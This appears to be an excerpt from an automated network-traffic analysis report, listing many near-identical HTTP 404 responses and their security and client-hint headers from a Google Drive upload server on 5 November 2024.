Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY1l12yu0B0obGsJ2izgoArieFObbUqOO3zIsiqtGbUFVEKIs-fnzS95XUvAQiXoSiizJ2nauajRVwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:11 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-_ElJQXIWuSnK2SHfTc3k4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY37xH9RAikHnHqT08yJ04ts7brCx4FJTMwO87sMoD3p_DDhVmtMoF1e0ZvzKXtaCggYLr8rSh5kRQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:11 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-9C_z5jzUdwie-wfkoosb1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY2TOjFYuoTJw-tBITF0QDZL61ay_4rBbrgvWkJ6F10RCmpuh6bUWI924-GXqHWGmydZBZucLjCTzwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:12 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-we3SfoUgE7IkNBPCp-X23Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY0hzbcnBA7A6ICbLDdWAEFoFoDqetBTk3gvbuRmthw3lEWxIB2R5KXRdPFX11SEV_LVR6wQAO7yfwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:13 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0NdzJAyuWTfkiJMb67wL3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY0XDlzRnjY_8-An-cZRDPicDrEZbgqYCm9_pUyDZPojr3Qe_NoSxoJ4Kbi7DeCx_CaYGZT-6PcmhgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:15 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-M8nazhg4oKO42rex5ZMwTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652X-GUploader-UploadID: AHmUCY3ze61SvMHiWAIS73GyLJ-B-lkcmwDzU7Imdu1KSvSavyAzYLqiHTlwCirA-sSODzdST5GcoxaSoAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:15 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-afhj_nqUy_P5wnrA_4Vwzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY2dXM5aw7G3GrlzPAZjxqD-MpBdolv3GsaXRXWhzJVhgptm_dOmEKL0CD5Lk3opsZ2BICONV-mfEgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:16 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-MiqEOMeo0fwS9IjqiN4qPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AHmUCY2MgfzH97gM8mSKZHahaMBZdr3hG-GmfUvJOGLPPAUt_Hsyq3od6wdBYajCSJcPEwzBsqTO6DqHLAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:17 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZbMdhxQ9KJ0zEJhAp1ZHmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY0uaYAKbQ14JyMDypC53Kgk7DJIS81VLXeOWCNDyz62g4T-JANHbqMD7iSTSyTL4h98AKdvhTcD7wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:18 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dzp0BVaQB0FOcshyerq-1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY1PW-1EmgCA-vV_BanrOT0b4kqZNxbQ_LrJiLFGS4HZYtZX-_3K8PP9VmLCiMvhGAi8sa95DOmGfQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:19 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-nPr09EVER5eVxqfoVILKwA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY0g6XH8xBquvWKCP7n8k9lh6Fgsl6D0Bp0z41btq7Sz8jCX5he8Fr9ujR8V-5osbwnFPOnwd4xbLAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:19 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-3DhSCKpLtfoJMoNLO7QiEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY2JQz-uF6O37cLKpdW1z7LezP_No7j7uX3z-4HGQLVpYrAGFXySg77SD_NOanMTa6PrxF3Os7SSGAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:20 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-7v34S8OIOOoJOs6ljw9Fmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY0KBYmFIkE3W3_Tm38SKv-dmyZOBF5030xap6W1cCrK575Z8nrsRHb_DT-XTdrLSLqbsWOQOB_raQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:22 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-zDbRjFX9kIQUCjRzsmDcsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY1J2uTywFPlxLcX4oxVsy_DZD38Nmy4TspXlE8SuhUkqbT1ywP5IonN8tR7TvdgisZjGTInUs1h3wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:23 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OgGW6IynChwhzYEEGv9T5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652X-GUploader-UploadID: AHmUCY1jwU-9MdqBpEctB3BJxYnJVqSAPydLPh4zXM-jYkgD6ZfMNJCzvqmeT5sRFxvpRs9UxrPlnRwvEgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:23 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-_sBltHIlSswv-h5xvo1IIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY341-beqlPDH7i7SO1JDji0rNVTXmUw89YLKJHOY-6U-W1kwHwPoYGK0gzUvNO7eLvlGN6AUskWrwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:24 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-aw3AGEUUvhqgs3mXaEX4GQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY3SjkWI9q6-H_juIBJu9xT_xOofQ4KjbLPuMfkVLj8X0G504OHIIynYuASyGZjcQ1xic2lZ0h6JwwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:24 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-2Lb4AA0KD26Y6wG1_Ex0iQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY25LO9K1HG7qAmD9CSBtwa3vMw9medG7hDQaUmzjLA0Ka_sBL27b-hGlhGwgJ3i4rdG4aYFRIhYcQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:26 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Re-JzcpIsnRoTxwA8BmM_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AHmUCY13XtGfpEyUZj4bLizzIoSwHb3F0aBHe4Hq9RlhXBRtD6kZ0G0u3AAXBRCVJcMpDoeaKDS7xEXOewServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:27 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-vt9XTedTW4mcYvALGtLSKg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY13s4glPPUjFp2JKjT_RXxbI2Nx-d7YcRRN7gYVN7XIDBVdleCHzIleBbzXYI21AwfyYbCva0PN6wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:27 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-afkJfNQVLOtc3UIpOqajPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY1cT_46G5HlX1FmG4MSIu2C3X-Ry8sjoJW4iODT5EWKL0-dv699ccPJSso7f9OGOnoAF7eDkvt_qgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; 